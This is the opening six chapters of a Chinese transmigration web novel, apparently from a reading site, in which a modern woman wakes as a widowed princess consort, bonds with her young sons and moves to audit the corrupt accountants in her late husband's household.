《红楼太妃要躺平》 第 1 章 顾晓闭着眼睛,手伸出被子,想要去拿床头柜上的矿泉水,却摸了个空,头疼欲裂的她正想要口吐芬芳,却发现喉咙也干涩得紧,心里不由一突,自个不会得流感了吧! 顾晓勉强睁开眼睛,想要爬起来找一下温度计,结果整个人都懵住了。 头顶不是LED吸顶灯,而是青色的纱帐,透过纱帐,还能看到床顶的楣板和床柱,再一侧头,又是雕花的围栏,这分明是她之前在古装剧或者是博物馆才能看到的架子床。 她顿时有些紧张起来,正茫然的时候,一个近乎是喜极而泣的声音响了起来:“娘娘,你可算是醒了!” 说话的是一个穿着灰绿色对襟褙子的中年妇人,顾晓下意识地开口道:“吴嬷嬷,我这是怎么啦?” 吴嬷嬷连忙说道:“娘娘就是太累了,昨儿个回来就撑不住了,奴婢怕叫西院的那位知道,就是悄悄请了惯用的张大夫过来给娘娘把了脉,说娘娘就是忧思过度,只要放开心怀就好了!好在娘娘醒了,若是叫那位知道,又要生出事来!” 一边说着,一个年轻的穿着青色比甲的丫头打扮的女子捧着一个黑瓷小盅过来:“娘娘,该吃药了!” 顾晓已经闻到了中药的味道,一下子就觉得嘴里开始发苦,不过身体还是最要紧。自己显然是穿越了,看起来身份还不低,下头的人总不能毒死自己,她抿了抿嘴唇,见那丫头还想要拿勺子喂自己,不免摇了摇头,说道:“罢了,还用什么勺子,还嫌不够苦嘛,直接给我喝了便是!” 那丫头也没觉得不对,连忙点了点头,将手里的药放到床头,然后拿来一个大迎枕,扶着顾晓坐了起来,这才将药递给她,好在这小盅并不大,顾晓一边怀念着之前吃过的各种药片胶囊,一边两三口将苦涩的药汁咽了下去,那丫头立马接了小盅,然后又是一个茶碗凑到顾晓嘴边,顾晓正琢磨着似乎吃药不能喝茶,就看到一个漱盂被捧了过来,她顺着身体的本能,漱了漱口,感觉到口中苦涩淡了一些,这才说道:“西院还想怎么样?” 吴嬷嬷叹道:“可不是嘛?圣上都下了旨,封咱们世子做了嗣王,西院那位仗着自己也有个儿子,居然还不死心!也就是娘娘性子好,换个人,直接锁了她院子,她又能怎么样?” 顾晓脑子里有模模糊糊的记忆涌上来,顿时头更疼了,她摆了摆手,脱口说道:“去个人,叫她安分一些,这都什么时候了,还当是以前呢!” 正说着话,外头便有了动静:“小王爷来给娘娘请安了!” 顾晓抬头看了看吴嬷嬷,吴嬷嬷连忙说道:“快请小王爷进来!” 顾晓很想说自己没这个意思,结果吴嬷嬷话都说出口了,只得说道:“我这还没梳洗……”她是真的心里发慌,作为一个母胎单身,她上辈子对小孩子,那真的是敬而远之,结果如今就冒出个儿子来。 “小王爷还小呢,又一向孝顺,娘娘在儿子面前还端着作甚!”吴嬷嬷一边说着,一边还是吩咐道,“春红,先给娘娘拿件衣服披上!” 徒嘉钰进来的时候,看到的就是一个脸上没多少血色,披着一件外衣,面上却带着微笑的母妃。 这位还是个才五六岁的小正太,放在后世,还是幼儿园小朋友,却被教得有礼有节,进来先是给顾晓行礼:“孩儿见过母妃,母妃可大安了?” 顾晓看着这孩子,来自原身残留的感情让她也生出了亲近之意,连忙招手说道:“已经好得差不多了,你也不要担心,快过来坐下!” 徒嘉钰脸上不由露出开心来,他上前几步,在床头坐下,顾晓握住他的小手,问道:“可用过饭了?” 一边随着徒嘉钰过来的一个年轻妇人连忙说道:“小王爷惦记着娘娘,早起只用了一碗牛乳粳米粥就过来了!” 顾晓连忙说道:“那怎么行,正好,我这边正好也还没有传饭,就在我这里吃吧!” 徒嘉钰赶紧点了点头,他也是心里委屈。本来就是个小朋友,原本他这个年纪,都是跟着亲妈住的,一般总要七岁的时候,才会搬出内院。结果亲爹没了,他被封为嗣王,等到成年就能继承亲爹的王位。有了这样一重身份,就不能当小孩看待,不得不搬到了外院。虽说乳母丫头小厮都没换,身边还是那些人,可是毕竟亲妈离得远了,何况亲妈之前还又生了个小弟弟,别以为小孩子没有嫉妒心,实际上他们敏感得很,真担心自己这一搬出去,亲妈就只喜欢弟弟,不喜欢自己了。 顾晓却不知道这么多,她根本不知道自己还有一个娃。她这会儿人还没什么力气,也没多少胃口,因此只是叫人在屋里摆了饭,自己依旧坐在床上,略微喝了一碗碧玉粳米粥,看着徒嘉钰一口气吃了两个豆腐皮包子,吃了一块枣泥山药糕,又用了半碗鸡丝粥,这才放下了筷子。 顾晓这回是能体会到网上那些晒娃的博主是个什么心情了,长得这么好看,又这么乖的小宝贝,谁不想要炫耀一下呢? 可惜的是,没等她多跟便宜儿子多交流一下感情,徒嘉钰就表示,他该去读书了。虽说有些舍不得,却也不能妨碍孩子进步,顾晓只得吩咐下头人好好照顾徒嘉钰,这才看着人走了。 等到徒嘉钰一走,顾晓这才说道:“我再歇一会儿,叫厨房那边好好准备一下,等下了学,还叫他到我这边来用饭!” 吴嬷嬷连忙答应下来,又亲自服侍着顾晓躺下,顾晓说道:“嬷嬷也去歇息一会儿吧,这些日子跟着我也是辛苦了!” 吴嬷嬷赶紧说道:“这算什么辛苦,只要娘娘好了,咱们这些人才能好呢!” 顾晓微微点了点头,她现在需要的是找回原身的记忆,其他的事情,尽可以慢慢来。请牢记收藏:,网址 最新最快无防盗免费阅读 第 2 章 睡梦中,顾晓看完了原身的一生。 原身属于那种出生就在罗马的人物,她生下来就是侯门嫡女,父母举案齐眉,兄弟手足和睦,也没什么嫡庶争宠的事情,她是老来女,家里从小娇养,只想着给她找个门当户对的人家,嫁个嫡次子或者是幼子,多多陪嫁,再帮着教育好外孙,小女儿完全可以在家靠父母,出嫁靠公婆,老了靠儿孙,一辈子可以无忧无虑。 结果临到及笄之年,原身被指给了平王做王妃,顿时一家子都抓瞎了。 原身不是什么精明强干的性子,在闺中的时候,琴棋书画倒是都学了,也能写会算,被母亲长嫂带着管过几天家,但那也就是哄孩子一样练练手,她因为是老来女,生下来体质就比较差,家里根本舍不得叫她做什么劳心劳力的事情。可做王妃却不能只知道风花雪月,寻常人家的主母面对的最多就是良妾,找个理由就能提脚卖了,丈夫只要还要点脸面也不能为了个玩意跟正房大老婆龇牙。 但是王妃面对的就是上了玉牒的侧妃,那可不是能仗着身份随便收拾的,若是王妃无子,说不得还得看有子的侧妃脸色过日子。对内尚且如此,对外,王妃需要面对的是宫里的后妃,宗室的长辈,同辈的妯娌,做公主的小姑……没一个好相与的。 好在平王徒宏远本身也不是什么有野心的人。他出身寻常,生母李氏原本不过是个宫女,生了他也只混了个才人的位份,之后就再没侍寝过。他生下来被抱给了婉嫔抚养,婉嫔能有这个位份,无非就是因为她是潜邸的老人,也没什么野心,先皇后乐意提携她先占下主位,免得便宜了真正的宠妃。结果徒宏远十五六岁的时候,婉嫔因病去世,也正是为了给这个养母守孝,徒宏远的婚事便拖了下来。等到徒宏远小二十了,圣上准备给下面小的赐婚的时候忽然发现,还有个儿子拖成了“大龄”未婚青年,一时父爱爆棚,这才有了这场对于原身来说堪称是天坑的赐婚。 原身运气算是不错,嫁过来没几个月就怀上了,这给了她相当长一段时间的缓冲,身边又有陪嫁的嬷嬷还有得力的丫头,亲妈还来帮着照应过一阵子,算是定好了府里的规矩,只要原身萧规曹随就行。 但是原身身体弱,生第一胎的时候难产伤了身子。徒宏远也不会在这上头委屈自己,婉嫔还在的时候就给他安排了侍寝的宫女周氏。男人对自己的第一个女人多半是不一样的,因此,徒宏远开府的时候就将人带出来了,一直多有恩宠。不过因为之前喝了几年避子汤,一直没个孩子,没能进位,但不妨碍她以侍妾的身份享用侧妃的份例,横竖这钱是从徒宏远那里出。 周氏其实还算省心,她毕竟是宫女出身,又无儿女傍身,随着年纪增长,容色渐衰,徒宏远哪怕一个月还去那么几次,但是真正侍寝的次数并不多,因此,她也就是在侍妾的那个圈子里头耍耍威风,从来不敢在原身面前扎刺。 比较膈应人的是府里的侧妃,这位性子浅薄,眼高心空,偏生是宫里李才人的嫡亲侄女,也就是徒宏远的表妹。李才人当年能被圣上宠幸,自然是有几分姿色的,这个侄女在容色上更胜一筹,又学了些婉转奉承的手段,很得徒宏远欢心。 这嫡亲的表兄妹近亲结合,后世人想想也知道会出现什么事。自然,这位表妹第一胎就没保住,要不是那会儿原身也怀上了,根本没沾手她的事,这锅就扣原身头上了。结果这位在徒宏远那里吹了一阵子枕头风,叫他觉得是原身这一胎跟她相克。徒宏远耳根子软,却也不算糊涂。李家也就是乡下财主,顾家却是开国勋贵,御封的隆安侯,世袭三代始降,如今正好是三代。顾家本是书香人家,前朝的时候就累世为官,哪怕这些年因为爵位的缘故极为低调,当代隆安侯只担任了个鸿胪寺卿,却也不是李家能碰瓷的。 但是,一个是枕边人的软语哀求,一个是亲妈的耳提面命,原身这边还没生呢,府里就多了个侧妃。 若是寻常人家,遇上这等事情,娘家都能打上门来,偏生是皇家,徒宏远就算是个不得宠的皇子,那也是君,何况,他宠妾了,又没灭妻,你又能如何?李侧妃照样受宠,前两年还生了一个儿子,在府里愈发张扬跋扈起来,颇有想要取而代之的意思。 总之,原身嫁过来这几年,真的是各种被膈应。便是个老油条摊上这样的事情也得抑郁,何况是个从小娇生惯养的小姑娘。 几个月前,宫中发生了宫变,太子逼宫,几个皇子跟着谋反,最终事败,太子亲手杀了一干妻妾儿女,自个也横剑自刎。相比较起来,另几个皇子可就出息多了,他们硬生生将宫宴上的兄弟侄子杀了个七七八八。 原身之所以没事,是因为她当时刚刚生产,徒嘉钰年纪又小,原本都是跟着原身直接在后宫领宴,原身去不了,李侧妃也没资格去,因此便也留在府里,算是逃过了这一劫。 丈夫死了,原身其实并不如何伤心,可是,徒宏远一直是太子一党,府里头也说不清楚他到底有没有跟着太子一起谋逆,但凡掺和到这种事情里头,别说是儿孙,就是亲爹,那也多半是有杀错没放过。王府被围,一家子战战兢兢地困在里面等消息,还得安抚不懂事的孩子。好在徒宏远真的没掺和之前的事,圣上这次死的儿孙也太多,被刺激得重病了一场,好了之后激起了几分慈父心肠,各家王府只要是确定没有掺和的,都得了恩典。有嫡子的直接封嗣王,成年就能继承亲王之位,没有嫡子的就选一个庶子为世子,成年就能受封郡王。 原身还没来得及喘口气,就得忙碌徒宏远的丧事,繁琐的丧礼过后,产后本就没能休养太久的原身一下子就撑不住了,这才有了顾晓的到来。请牢记收藏:,网址 最新最快无防盗免费阅读 第 3 章 整理好了原身的记忆,顾晓真的是长松了一口气,虽说接手的身体并不好,不过还是能通过好好调理来挽回的,至于其他的,简直是天胡! 生孩子的痛已经被原身承担了,白白得了两个孩子,还是不用她亲手照顾的那种,府里头一大堆的丫鬟婆子,乃至太监仆役,自然能帮着将孩子照顾得妥妥当当,教育孩子的事情,也不用她多烦心,小时候有专门的教养嬷嬷,大了徒嘉钰会直接进宫读书,小的这个也可以请个西席回来。可以说,从抚养到教育,都能外包出去,做亲妈的,只需要安心享受天伦之乐就行。 上辈子为什么富人乐意生孩子,不就是对她们来说,生养和教育都不是负担吗? 除此之外,顾晓如今已经是平王府的太妃娘娘,只要她好好的,那位李侧妃,不,如今是侧太妃了,如今是没法冒出来恶心她了。毕竟,没了徒宏远,她一个出身一般,只有个病弱儿子的侧太妃算得了什么呢?就算宫里有个李才人那有如何?以前孝顺她,那是因为有个徒宏远在,是他生母,但在礼法上,顾晓的正经婆婆是早就薨逝的皇后,最多加上一个也已经去世多年的婉嫔,哪里就轮得到李才人了,面子上过得去也就行了,她还想要仗着这重身份插手王府的事情,那是不可能的事情。 这么一想,顾晓顿时是豁然开朗。 “娘娘您醒了!”见顾晓睁开眼睛,坐在一边做针线的春雨连忙将绣棚放进篓子里,起身扶顾晓坐起来,口中说道,“刚刚三公子醒了,只是娘娘还睡着,就没抱过来,娘娘现在可要见一见?” 这个孩子也是倒霉,出生没几天就摊上宫变,除了办了个洗三之外,什么满月、百日都没有,接下来还得守孝,自然周岁也是不能办的。而且之前原身忙着丧事,也顾不得他,最多也就是每天早晚看两眼,要不是选的两个乳母都是出身顾家,还算是靠得住,说不定孩子莫名其妙就夭折了。 这般一想,顾晓油然生出几分怜惜来,连忙说道:“这些日子,也是委屈他了,还不抱进来!” 这么大的孩子已经长开了,正是惹人怜爱的时候,乳母将他抱到顾晓身边放下,他还不会坐,只会勉强抬着头,黑葡萄一样的眼睛看着顾晓,嘴里“咿咿呀呀”的,小手也不安分,从襁褓里挣脱出来挥舞着,想要去够顾晓。 顾晓伸出手,手指就被一只小手握住,心里就是一颤,血脉相连的感觉是骗不了人的,她忍不住微笑了起来。 小家伙养得肥嘟嘟的,可见这些日子也没受了委屈,顾晓当下便是说道:“春燕,三公子身边伺候的人,各赏一个月的月钱,两个奶嬷嬷赏三个月月钱!” 两个奶嬷嬷连忙谢恩,恨不得赌咒发誓,定当照顾好小公子。 接受了原主的记忆之后,顾晓才知道,影视里乳母换孩子的事情在讲究一些的人家是不可能发生的。像是原身怀孕六七月的时候,府里就会从她的陪嫁人口还有王府的下人乃至是皇庄上挑选乳母,一般选的是已经生育过一次的,这个年纪一般就是二十岁左右,不会太大,也有过育儿经验,然后再找人测一次生辰八字,先去掉可能会与主母和未来的小主子相克的,留下来的就先养着,等到她们生了孩子,出了月子,主母也差不多生了,这时候,生了儿子的去给小姐做奶妈,反之亦然,如此才不会闹出什么李代桃僵的事情。 顾晓说道:“不必如此,这也是你们该得的!三公子好好的,自有你们的好处!” 这边正说着话,那边徒嘉钰也来了。 看到母亲在跟弟弟一起玩,徒嘉钰心里酸了那么一下,却见顾晓笑着招手道:“钰儿你来得正好,正好看看你弟弟,以后你就是家里当家的男人了,你弟弟的事情,我可就交给你了!” 徒嘉钰听得一愣,他其实没听明白什么当家不当家的,却听到顾晓说将弟弟给他了,顿时有些小得意。他这些日子搬到外院去,也没怎么见着这个弟弟,这会儿便凑过来瞧。 人类幼崽天生有一种惹人怜爱的气质,徒嘉钰原本想要跟他说不许跟自己抢母妃,看到小东西露出的那个无齿的笑,顿时就什么也说不出来了。他小心翼翼地伸出手,戳了戳小家伙胖嘟嘟的脸蛋,小家伙也不生气,还是看着他傻乐,他一下子高兴起来:“弟弟,我是你哥哥!” 虽说王府里他还有一个弟弟两个妹妹,但准确来说,他跟他们是真的不熟。李侧妃生的徒嘉泽就不说了,李侧妃怀着的时候胎相就不稳,生下来之后更是三天两头请大夫,看谁都觉得想要害她儿子。另外两个都是寻常侍妾所出,其中一个养在周氏膝下,另一个还是跟着生母陈氏。养在周氏膝下的那个徒宏远还能不时见上一次,养在陈氏身边的,更是跟个透明人一样。因着孩子还小,到现在也没个正经的名字,又都是庶女,府里头也就是以“大姑娘”、“二姑娘”称呼。 原身是个省事的,懒得没事跟这些人打交道,因此,除了初一十五让她们到正院请安之外,平常只叫她们留在自个屋里。就算是来请安,也就是喝杯茶就让她们走人,根本不会在正院多待,自然,徒嘉钰也很难跟下面的弟弟妹妹打照面,能有多少感情才怪! 可以说,直到这会儿,徒嘉钰才有了身为兄长的真实感,看着躺在那里的小肉团,竟是忍不住想要抱一抱。 见乳母想要阻拦,顾晓摆了摆手,反倒是叫徒嘉钰在床沿坐下,指点着他有些吃力地将小家伙抱了起来。徒嘉钰抱着弟弟,整个人却很兴奋:“弟弟,我是你哥哥,快,叫哥哥!” “好啦,弟弟还小呢,想要学说话,还得再等上好几个月呢!”顾晓笑道,“行啦,看你小胳膊小腿的,这小东西沉得很,先放下来吧,别累着了!” 吴嬷嬷闻言,三两步上前,如蒙大赦一般将小家伙抱了起来,看着顾晓的眼神简直是不敢置信!却听顾晓说道:“你父王不在了,母妃这些日子身体也不怎么好,还得将养一阵子,也顾不得你弟弟,他的事情,还得钰儿你多多费心呢!” 果然,这家要是没我,就得散!徒嘉钰挺起了小胸脯,整个人差点没飘到天上去:“母妃放心,有道是长兄如父,我会照顾好弟弟哒!”请牢记收藏:,网址 最新最快无防盗免费阅读 第 4 章 “娘娘,小王爷才那么点人,你也放心让他抱三公子!”等着徒嘉钰心满意足回前头去了,吴嬷嬷再也忍不住了,言语间都有些埋怨。 顾晓叹道:“嬷嬷,钰儿的前程已经定下来了,可这孩子呢,因着之前的事情,现在还连个正经的名字都没有呢!按照本朝的规矩,亲王嫡长子降一等袭爵,嫡次子就要降两等甚至是三等。圣上隆恩,钰儿已经是嗣王,成年就能册封亲王,可这孩子,应该还是按照以前的规矩,多半就是个镇国将军,以后仰仗兄长的时候长着呢!如今不叫钰儿与弟弟亲近,以后可就晚了!” 吴嬷嬷听到这里,不免有些惭愧:“是奴婢见识短浅,没想到这事上头!” 顾晓点了点头,又说道:“等家里出了孝,还是得上个折子,给孩子求个正经的名字才行,咱们自个取的,终究不如御赐的硬气!不过也该给孩子取个小名了,正好叫钰儿去琢磨琢磨!” 正说着话,春香气呼呼地进来了。 “娘娘,西院那位越来越过分了,刚刚又叫人去账房提了二百两银子,说是要给二公子配药用!”春香气鼓鼓地说道,“之前也就是两三个月提一次钱,如今一个月开两回口,还当时以前呐!” “账房给了没有?”春红问道。 “要是没给我还这么生气吗?账房那个田登不就是李家的亲戚吗?她一开口,田登立马就把钱支过去了!”春香撇了撇嘴,“娘娘,账房这些混账,可得好好整顿一下了,到现在还没明白,这王府到底是谁做主呢!” 春燕同仇敌忾道:“娘娘之前就是太好说话,纵得她没了体统!”春燕也就是口嗨一下,明眼人都知道,当初不是原身太宽纵,而是李侧妃有徒宏远撑腰,原身只能是睁只眼闭只眼,当做不知道。只是李侧妃也实在是不识相,明明都没靠山了,还不肯安分守己,非要蹦跶出来惹人厌烦。 顾晓沉吟一番,说道:“账房的事先放一放,叫人去西院问侧太妃要药方,问她是哪个大夫开的方子,在哪里买的药?小孩子家家的,能胡乱吃药吗?别没得弄得身子更坏了!二公子虽说是她生的,却是正经的皇孙,她一个侧室胡乱折腾,养坏了她可担待不起!” 听到顾晓这般说,在场的几个人都是眼睛一亮,春香说道:“娘娘,我跟春红姐姐一块过去传话!” 李氏那边这会儿也没有拿到钱的喜悦,她或许浅薄,却不蠢,她也知道,自己如今没了靠山,姑母在宫里根本就是远水解不了近渴。姑母位份太低,儿媳妇不主动说要过去,连受儿媳礼的资格都没有。她这个侧太妃也没资格进宫,说不定死在王府,姑母都不知道。 李氏现在一方面是想要趁着田登还在的时候多捞点钱,她毕竟不像是原身,十里红妆嫁进来的。李家那点家资在乡下算是财主,但是跟皇家的富贵比起来,那是天上地下。李氏进门的时候就几身衣服,随身戴着的首饰都是徒宏远叫人送过去的,拿来什么嫁妆。她日子过得好,是因为徒宏远肯贴补,像是那个田登,就是为了方便李氏问账房要钱给塞进去的。 另一方面,李氏也是在试探顾晓的底线,若是顾晓还是只图省事,那么她以后日子也能好过一些,要是顾晓想要秋后算账,她也只能是缩起脖子过日子了。 李氏压根没想到,顾晓如今叫人来“查账”了! 听着春香小嘴“叭叭”地在那里追问给徒嘉泽看病的大夫,药方,买的药材甚至是用过的药渣之类的事情,李氏只觉得头疼欲裂。她就是借着给徒嘉泽看病搂钱,哪有什么大夫,药方,因此,只是勉强说道:“二公子体虚,一直吃着人参养荣丸,都是在外头找人配的,哪来什么药渣!” 春红跟着开口,一副我们都是为你好的模样,说道:“外头配的人参养荣丸?我们娘娘之前也配了一些呢,不如侧太妃拿来给奴婢看看,是不是一个味。侧太妃你是不知道,这京里,多有那等以次充好的奸商,拿着朽烂的参须冒充好参,这样的丸药吃了不光没用,还伤身呢!” 春香跟着说道:“还有啊,奴婢虽说不懂什么药理,却也听说虚不受补的道理,二公子那病,还是得专门请个大夫开方用药,免得吃了什么不对症的,反倒是不好!二公子可是皇孙,真要是吃药吃出了什么毛病,侧太妃你担得起这个责任嘛!” 两个大丫头在这边一唱一和,李氏听得面色青白,她想要翻脸,却也知道,自己如今根本没有翻脸的本钱,想要撒泼,还是那句话,没有徒宏远,谁在乎呢! 李氏这里还真有人参养荣丸,这会儿咬着牙叫人将剩下的半瓶拿过来,有气无力地说道:“就是这个人参养荣丸,你们拿走吧!” 春香还想要乘胜追击,春红笑吟吟说道:“二公子吃了这么久的人参养荣丸,却一直还是不好,可见药不对症,我们娘娘说了,明儿个就请了太医进府,给二公子看看,以后这药就按照太医的方子来,不必劳烦侧太妃到处请医问药的!” 捞钱的路子这下是彻底斩断了,李氏心烦意乱,勉强挤出了一个笑脸,说道:“娘娘慈悲,是我见识短浅,劳烦两位替我谢谢娘娘!”说着,又有些心痛地叫贴身丫头给了春红春香一人一个荷包。 难得看到李氏吃瘪,两人反倒是觉得没意思,接了荷包,谢了李氏赏赐就拿着那半瓶人参养荣丸便回去了。 人一走,李氏的脸色便拉了下来,她贴身丫头金珠连忙过来安慰:“娘娘,她们也就是占点嘴皮子上的便宜,不管怎么说,您还有二公子呢!” 金珠原本是为了劝李氏,结果却戳到了李氏的心窝子,李氏本来就憋了一肚子气,一听顿时火气上涌,上来就给了金珠一个耳光,差点没将金珠打翻在地,嘴里骂道:“你也知道是二公子啊,现在府里做主的是小王爷了,一个二公子算什么,她们都巴不得我的儿没了,以后这王府就落到他们娘三手里了!”请牢记收藏:,网址 最新最快无防盗免费阅读 第 5 章 今时不同往日,明眼人都知道风向已经彻底变了。 不过是一会儿时间,顾晓就知道了李氏打了心腹丫头的事情。 “这真是狗咬狗了!”吴嬷嬷听得笑了起来,“真是活该!” 顾晓倒是没多少幸灾乐祸的意思,她只是说道:“也亏得她这一闹,要不然咱们还想不起来查账的事情呢!之前外头的帐都是先王爷的人管着,如今先王爷不在了,一年半载还好,长年累月的,还不定生出什么样的心思,所以,还是得赶紧对账,免得回头说不清楚!” “娘娘说的是,正该如此!”几个人都是眼睛一亮,连声称是。 这会儿还算是盛世,朝廷也还算有钱,因此即便徒宏远在一众皇子中并不得宠,分到的产业相对一般,但是该有的还是有的。像是平王府,开府就有二十万两安家银子,另外还有三个庄子,三个铺子。 徒宏远分到的庄子有点偏远,都已经到西山那边了,铺子的位置也不算很好,但是面积却不小,这几样产业加起来,每年也有个万把两银子的收益。 不过这并不代表王府每年能有多少结余,宗室里头人情往来很多,有的可以左手倒右手,有的却是得另外置办的。还有三节两寿都要孝敬圣上,这笔开支可是不能省的,万一被扣个不孝的帽子,那就得不偿失了。可以说,光是每年人情往来,就是一大笔的开支。 徒宏远还得补贴宫里的李才人,提携宫外的舅舅一家,喜欢的女人更是不能不管,所以,只怕这些年不仅没结余下什么钱,连安家银子都搭进去不少。 以前原身是没法管,横竖徒宏远固定会拨一笔钱用于内院的开支,不至于花原身的嫁妆,原身也就不过问,但是以后,这王府的产业多半是要留给徒嘉钰的,小家伙以后封爵分府出去,也要从公中分一笔家产,真要是不管不顾,只怕等将来,王府就变成个空架子了。 “今儿个也不早了,叫人先将账房还有库房都看好,明儿个就开始查账!账房先生要是不够用,就去侯府那边借几个过来!”顾晓直接拍了板。 顾晓一声吩咐,立刻就有人去外院传话,调了一队护卫进府,分别将账房和库房都看守了起来。 顾晓这般动作来得突然,以至于账房相关的人根本猝不及防,以为是田登给李氏行方便,这才惹得太妃娘娘大发雷霆,决议查账。 “田兄啊,你也不瞧瞧如今是什么时候了,以前娘娘只能管着后院,如今小王爷年纪小,这王府的偌大产业,不都得交给娘娘管着?侧太妃当年再如何得宠,又能如何?”一个一向与田登交好的账房袁肃忧心忡忡地抱怨起来。 能在王府做账房,自然不会是没什么根基的人。像是袁肃,他姑母就曾经做过先平王的乳母,不过没有转为教养嬷嬷,等断了奶就回了内务府重新安排了差事。 不过因为姑母前几年已经去世,袁肃自然跟先平王的关系又远了一层,为了稳固自己的地位,袁肃才与田登交好,哪知道先平王居然英年早逝,以至于他们这些人没了着落。 想要投靠太妃,但是太妃深居内院,哪里是他们这些人能见到的。如今闹将起来,袁肃反而觉得踏实了。不管怎么说,他这些年固然捞了些许,可是也真没干过什么犯忌讳的事情,大不了将钱退回,想办法重新谋一份差事便是。 袁肃还算是平和,其他人却是没法淡定得起来。 别说是这年头了,就算是后世法律健全的时候,会计出问题的也是一大堆。不管是各家的私库还是公家的府库,管账的跟管库房的,想要找出几个清白的,那是真不容易。 先平王不是个有多少手腕的,耳根子还软,开府这些年来,纵得下头人胆子越来越大。府里花钱的地方多半都得过账房的手,他们哪怕只是落笔的时候略动一下,每一笔账目都能分润不少银钱。 只是纵然账目做得圆满,只要想深究,就没查不出来的。别的不说,他们这些账房一个月月钱最多也就是十两银子,再算上府里逢年过节的赏赐,也供不起他们那么多的家业。 先平王是个好糊弄的,但是如今这位刚刚晋级的太妃却不是。隆安侯府一直治家严谨,之前王府内院纵然有个被先平王偏宠的侧室,却一直以来被打理得井井有条,从未出过什么差错,可见那位看似不言不语,实际上是个有成算的。 之前太妃娘娘忙于先平王的丧事,又是刚刚产育,累得不轻,以至于无暇他顾,原本听说太妃娘娘身体有恙,一直在院中休养,大家还觉得有一段时日作为缓冲,可以将账目再平一平,哪知道今儿个就发作起来,这下之前做的那些反倒是画蛇添足,露了马脚。 人总是喜欢迁怒的,田登这会儿便成了被迁怒的对象。 “可不就是如此,太妃娘娘一向慈悲,西院那位跋扈惯了的,如今还看不清楚时势,田兄你偏生也跟着犯了糊涂,累得我们这些人不得安生!”另一个账房气哼哼地说道。 “岂止是糊涂,田二,你该不会是故意坑咱们吧!明知道现在是什么时候,居然还敢给西院支银子,十几二十两也就算了,一下子就是二百两,而且还不是一次两次,这般下来,谁能忍得下来!” …… 田登听得气闷,直接站起身来,说道:“难不成这事都是我一个人惹出来的?你们之前那一桩桩,一件件的,当我什么都不知道呢!我当初被弄进来,就是先王爷想要给侧太妃娘娘行方便的,我敢不听西院的吗?我这么多年,也就是做了这些事情,沾了西院一点子光,哪像是你们,什么钱都敢伸手!我倒要看看,你们能得什么好!” 被田登这么一说,几个账房顿时面红耳赤,原本心中就惴惴不安,生怕追究到底,他们这些人本就是王府的家奴,被拿到了短处,打死都没人能喊冤,再被田登这么一说,更是怕得厉害,一个账房看着田登还在那里喋喋不休,一时冲动,竟是抄起桌子上的茶壶,对着田登的额头就拍了过去,一时间,竟是乱成一团。请牢记收藏:,网址 最新最快无防盗免费阅读 第 6 章 账房一干人被拉开,分别关到几个屋子里。因着知道他们应该在府里待不下去了,一干护卫手段颇为粗暴。 第二天,从隆安侯府借的账房就来了,一同过来的还有隆安侯夫人,也就是顾晓如今这个身体的生母。 隆安侯夫人看到顾晓,眼泪就流下来了。 顾晓这个身体亏虚得厉害,昨儿个请了太医请脉,说是之前原本就产后亏虚,偏又突闻噩耗,以致气血攻心,之后又因为丧礼的缘故耗费许多心血,也就是如今还年轻,还能仔细调理,否则的话,难免影响寿数。 如今虽说出了热孝,但也还是孝期,加上顾晓也信不过如今的化妆品,因此并未用什么脂粉,这会儿看起来脸上并无多少血色,苍白憔悴得很。 小孩子不懂这些,徒嘉钰只知道母亲生病,还在休养,隆安侯夫人却是长辈了,一瞧顾晓如今这般面色,就差点“心肝肉”的哭出来。 “妈,我就是之前累得很了,多休养一阵子就好,并无什么大碍!”顾晓看到隆安侯夫人,就生出了许多亲近之意,见她伤心,连忙劝慰道。 隆安侯夫人哪里肯相信,只是知道是女儿不愿意让自己担心,只得捏着帕子擦去眼泪,勉强露出一个笑来:“知道要好生休养就好,别的不说,还得记着你有两个孩子呢!” 顾晓怕她又难过,赶紧说道:“妈你也几个月没见到你小外孙了吧,如今养得胖嘟嘟的,还会吐泡泡呢,可好玩了!”说着就叫人将孩子抱了过来给隆安侯夫人看。 虽说比起外孙,隆安侯夫人更关心的是女儿,不过既然女儿有意转移话题,自然顺水推舟,她从乳母怀里接过孩子,一看就不由笑了起来:“这孩子,眼睛和鼻子都像你,将来啊,也是个俊俏的小郎君!” 顾晓笑道:“是吗?这肉团一样,我还真没看出来!” “怎地不曾见到小王爷?”虽说是自家亲外孙,但是已经是朝廷封的嗣王,即便是隆安侯夫人,也得称呼徒嘉钰一声小王爷。 “钰儿在前头念书呢,下了学就过来!”顾晓解释道,“本来想着让他停一天的,但是今儿个是想要处理一下府里的事情,他现在年纪还小,也不好直接跟他说,这才叫他继续上学,回头只叫他知道下人欺上瞒下,中饱私囊便是!” 隆安侯夫人点了点头,昨儿个送信的人就说了借账房的缘由,引子还是西院那位侧太妃,这里头难免要说到先平王的诸多不妥之处。子不言父过,而且徒嘉钰还小,就算想要让他知道当年的事情,也得等他大一些才行。 想到这里,隆安侯夫人心情愈发复杂起来。女儿青年守寡,这皇家可不像是民间,还能再嫁,再不济,还能带着孩子回娘家居住,听起来也是一件惨事。但是想想看先平王那副德行,女儿嫁过来之后,不知道受了多少气,浑然没过过几天舒心日子。如今先平王没了,府里头也没别的长辈,女儿反倒是能说一不二,不用再忍气吞声,这反倒是好事了。但要隆安侯夫人公然说先平王死得好,死得妙,她也说不出口,因此干脆不提为好。 横竖两个外孙年纪都小,李氏的儿子又是个病秧子,还不知道能不能长成了,就算长成了,一个庶子,又能如何,连小外孙也盖不过去,将来无非就是一份家产也就打发出去了。 “你想的是,孩子还小,现在读书也都是什么孝悌之道,不明白这么多年你受的委屈,等他大一些了,见得多了,自然也就知道了!”隆安侯夫人点头道,“这些账房只怕都有些问题,你打算怎么做?” 站什么山头唱什么歌,顾晓可不会在这种时代讲什么人权,不过,她也不至于直接就漠视生命,因此便说道:“这不是先王爷去了吗?府里也用不着那么多下人,又不能全退到庄子上去,所以,也不用什么身价银子了,直接放出去,权当为先王爷祈福了!” 换做其他人家,说不得还要担心下人放出去之后,会不会乱说主家的阴私,如今却是王府,圣上死了这么多儿孙,看似如今已经是风平浪静,实际上不知道心里头憋了多少火呢,便是那些文武百官也不敢在这个时候胡乱开口,何况他们这些奴仆?能在皇家任职的,最知道什么叫谨言慎行,既然慎行没做好,再不谨言,那干脆就别再有说话的机会了。 